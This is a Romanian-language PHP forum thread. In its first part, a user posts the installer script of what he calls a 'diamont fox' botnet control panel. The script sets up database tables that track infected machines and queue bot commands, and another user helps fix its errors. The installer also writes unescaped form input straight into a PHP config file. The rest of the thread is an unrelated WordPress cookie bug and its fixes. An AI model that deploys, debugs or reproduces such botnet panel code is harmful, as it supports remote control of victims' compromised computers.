luca123 Posted August 30, 2015 Report Posted August 30, 2015 Notice: Undefined variable: Perm in C:\xampp\htdocs\b\install.php on line 4Notice: Undefined variable: Pass in C:\xampp\htdocs\b\install.php on line 4Notice: Undefined variable: Perm in C:\xampp\htdocs\b\install.php on line 4Notice: Undefined variable: Configs2 in C:\xampp\htdocs\b\install.php on line 4Notice: Undefined variable: Perm in C:\xampp\htdocs\b\install.php on line 4Notice: Undefined variable: Sql in C:\xampp\htdocs\b\install.php on line 4Notice: Undefined index: msj in C:\xampp\htdocs\b\install.php on line 170Acesta este scriptul <?php@session_start();if ($Pass == $Perm && $Configs2 == $Perm && $Sql == $Perm) { if (isset($_POST['server'])) { $sqluser = $_POST['sqluser']; if (!@mysql_connect($_POST['server'], $_POST['sqluser'], '' . $_POST['password'])) { $_SESSION['msj'] = "Cannot connect to the MYSQL server"; } else { if (!@mysql_select_db($_POST['dbase'])) { $_SESSION['msj'] = "Cannot connect with the Database"; } else { $fp = fopen('inc/config.php', 'w'); fwrite($fp, '<?php'); fwrite($fp, "\r\n"); fwrite($fp, '$server = '); fwrite($fp, "'"); fwrite($fp, $_POST['server']); fwrite($fp, "';"); fwrite($fp, "\r\n"); fwrite($fp, '$user = '); fwrite($fp, "'"); fwrite($fp, $_POST['sqluser']); fwrite($fp, "';"); fwrite($fp, "\r\n"); fwrite($fp, '$pass = '); fwrite($fp, "'"); fwrite($fp, $_POST['password']); fwrite($fp, "';"); fwrite($fp, "\r\n"); fwrite($fp, '$db = '); fwrite($fp, "'"); fwrite($fp, $_POST['dbase']); fwrite($fp, "';"); fwrite($fp, "\r\n"); fwrite($fp, '$correctuser = '); fwrite($fp, "'"); fwrite($fp, base64_encode($_POST['user'])); fwrite($fp, "';"); fwrite($fp, "\r\n"); fwrite($fp, '$correctpass = '); fwrite($fp, "'"); fwrite($fp, md5($_POST['pass'])); fwrite($fp, "';"); fwrite($fp, "\r\n"); fwrite($fp, '$usa = '); fwrite($fp, '"'); fwrite($fp, $_POST['ua']); fwrite($fp, '";'); fwrite($fp, "\r\n"); fwrite($fp, '$RC4 = '); fwrite($fp, '"'); fwrite($fp, $_POST['rc']); fwrite($fp, '";'); fwrite($fp, "\r\n"); fwrite($fp, 'mysql_connect($server, $user, $pass);'); fwrite($fp, "\r\n"); fwrite($fp, 'mysql_select_db($db);'); fwrite($fp, "\r\n"); fwrite($fp, '?>'); fclose($fp); mysql_connect($_POST['server'], $_POST['sqluser'], $_POST['password']); mysql_select_db($_POST['dbase']); mysql_query("CREATE TABLE `clients`( `id` int(255) NOT NULL auto_increment, `hid` varchar(255) NOT NULL, `ip` varchar(45) NOT NULL, `cc` varchar(3) NOT NULL, `time` int(255) NOT NULL, `userandpc` varchar(255) NOT NULL, `admin` varchar(255) NOT NULL, `os` varchar(255) NOT NULL, `hst` varchar(255) NOT NULL, `pos` varchar(255) NOT NULL, `ky` varchar(255) NOT NULL, `arc` varchar(255) NOT NULL, `fw` varchar(255) NOT NULL, `user` varchar(255) NOT NULL, `ram` varchar(255) NOT NULL, `cpu` varchar(255) NOT NULL, `gpu` varchar(255) NOT NULL, `hd` varchar(255) NOT NULL, `status` varchar(255) NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `ip` (`ip`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=6;"); mysql_query("CREATE TABLE `commands`( `id` int(255) NOT NULL auto_increment, `hwid` varchar(255) NOT NULL, `botid` int(255) NOT NULL, `cmd` varchar(255) NOT NULL, `variable` varchar(255) NOT NULL, `viewed` int(1) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=8;"); @unlink("install.php"); @unlink("css/style-ins.css"); @unlink("js/placeholder.js"); echo '<meta http-equiv="refresh" content="0;URL=index.php">'; } } }} else {}$n = rand(1,6);?><html> <head> <title> Installer </title> <link rel="stylesheet" type="text/css" href="css/style-ins.css" /> <script type="text/javascript" src="http://code.jquery.com/jquery-latest.min.js"> </script> <script src="http://www.modernizr.com/downloads/modernizr-latest.js"> </script> <script type="text/javascript" src="js/placeholder.js"> </script> </head> <body> <form id="slick-login" method="post"> <center> <img src="img/kartoxa<?echo $n;?>.png" height="150" weight="150"/> </center> <label for="username"> username </label> <input type="text" maxlength="8" name="user" class="placeholder" placeholder="Panel User" required="required"> <label for="username"> Password </label> <input type="text" name="pass" class="placeholder" placeholder="Panel Password" required="required"> <label for="username"> useragen </label> <input type="text" name="ua" class="placeholder" placeholder="User-Agent" required="required"> <label for="username"> rc4key </label> <input type="text" name="rc" class="placeholder" placeholder="Connection Key" required="required"> <label for="username"> sqlserve </label> <input type="text" name="server" class="placeholder" placeholder="MySQL server" required="required"> <label for="username"> sqluser </label> <input type="text" name="sqluser" class="placeholder" placeholder="MySQL User" required="required"> <label for="username"> sqlpass </label> <input type="text" name="password" class="placeholder" placeholder="MySQL Password" required="required"> <label for="username"> dabname </label> <input type="text" name="dbase" class="placeholder" placeholder="MySQL Database" required="required"> <input type="submit" value="Install" name="sendform"> </form> <span id="advices" style="color:#F90000"> <?php echo $_SESSION['msj'];?> </span> <br> </body></html>folosesc php 5.3 Quote
MizUndrstnd Posted August 30, 2015 Report Posted August 30, 2015 <?php@session_start();$Pass = '';$Perm = '';$Configs2 = '';$Sql = '';if ($Pass == $Perm && $Configs2 == $Perm && $Sql == $Perm) {Pentru ca nu sunt definite si le poti verifica cu isset daca le preiei prin post ceva. Quote
spider Posted August 30, 2015 Report Posted August 30, 2015 ca sa nu mai deschid alt thread...Warning: Invalid argument supplied for foreach() in D:\xamp\htdocs\db\wp-content\plugins\indeed-smart-popup\indeed-smart-popup.php on line 122 } global $visit_pages_arr; if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){ foreach($_COOKIE['visit_pages'] as $k=>$v){ $visit_pages = $v+1; unset($_COOKIE['visit_pages'][$k]); setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/"); $visit_pages_arr[$k] = $visit_pages; } }}line 122 = foreach($_COOKIE['visit_pages'] as $k=>$v){mul?am. Quote
luca123 Posted August 30, 2015 Author Report Posted August 30, 2015 (edited) aia e o eroare pt un plugin de wp eu am eroarea asta la un botnet diamont fox Edited August 30, 2015 by luca123 Quote
spider Posted August 30, 2015 Report Posted August 30, 2015 nu ma... asta este o eroare care imi apare mie m-am b?gat peste postul t?u ca sa nu mai deschid ?i eu altul Quote
luca123 Posted August 30, 2015 Author Report Posted August 30, 2015 daca e de la un plugin de ce nu vb cu aia de la care ai pluginul? @spider Quote
iulik Posted August 30, 2015 Report Posted August 30, 2015 @spider incearca asa } global $visit_pages_arr; if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){ $visitpg = unserialize($_COOKIE['visit_pages']); foreach($visitpg as $k=>$v){ $visit_pages = $v+1; unset($_COOKIE['visit_pages'][$k]); setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/"); $visit_pages_arr[$k] = $visit_pages; } }}p.s nu am testat, scuze daca nu merge... 1 Quote
spider Posted August 30, 2015 Report Posted August 30, 2015 nu merge, apar alte erori acumWarning: unserialize() expects parameter 1 to be string, array given in D:\xamp\htdocs\db\wp-content\plugins\indeed-smart-popup\indeed-smart-popup.php on line 125Warning: Invalid argument supplied for foreach() in D:\xamp\htdocs\db\wp-content\plugins\indeed-smart-popup\indeed-smart-popup.php on line 127 } global $visit_pages_arr; if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){ $visitpg = unserialize($_COOKIE['visit_pages']); foreach($visitpg as $k=>$v){ $visit_pages = $v+1; unset($_COOKIE['visit_pages'][$k]); setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/"); $visit_pages_arr[$k] = $visit_pages; } }}linia 125 $visitpg = unserialize($_COOKIE['visit_pages']); 127 foreach($visitpg as $k=>$v){ mersi oricum ! Quote
pedala1 Posted August 30, 2015 Report Posted August 30, 2015 (edited) $_COOKIE['visit_pages'] trebuie sa fie array. Este ?Daca in loc de $_COOKEI['visits_pages'] pui array-ul $vp = array( "1" => "2", "3" => "4",);iti va functiona perfect.Daca nu stii cum sa salvezi corect un array in cookies:setcookie('cookie', serialize($info), time()+3600); Then unserialize data: $data = unserialize($_COOKIE['cookie']); Edited August 30, 2015 by pedala1 Quote
MizUndrstnd Posted August 30, 2015 Report Posted August 30, 2015 <?php$_COOKIE['visit_pages'] = array( 'cookie_1' => 'heelo', 'cookie_2' => 'woot?', 'cookie_3' => 'michaeljacsooon', 'cookie_4' => 'itisworking?' );//cookie set?//if(isset($_COOKIE['visit_pages']) && count($_COOKIE['visit_pages']) > 0){ //check if is of array type if(is_array($_COOKIE['visit_pages'])){ foreach($_COOKIE['visit_pages'] as $k=>$v){ $visit_pages = $v + 1; unset($_COOKIE['visit_pages'][$k]); setcookie("visit_pages[$k]", $visit_pages, time()+(60*60*24*365),"/"); $visit_pages_arr[$k] = $visit_pages; var_dump($_COOKIE['visit_pages']); } } else { //is not array? print 'Is not array type!'; }//}?>Results:array (size=3) 'cookie_2' => string 'woot?' (length=5) 'cookie_3' => string 'michaeljacsooon' (length=15) 'cookie_4' => string 'itisworking?' (length=12)array (size=2) 'cookie_3' => string 'michaeljacsooon' (length=15) 'cookie_4' => string 'itisworking?' (length=12)array (size=1) 'cookie_4' => string 'itisworking?' (length=12)array (size=0) empty Quote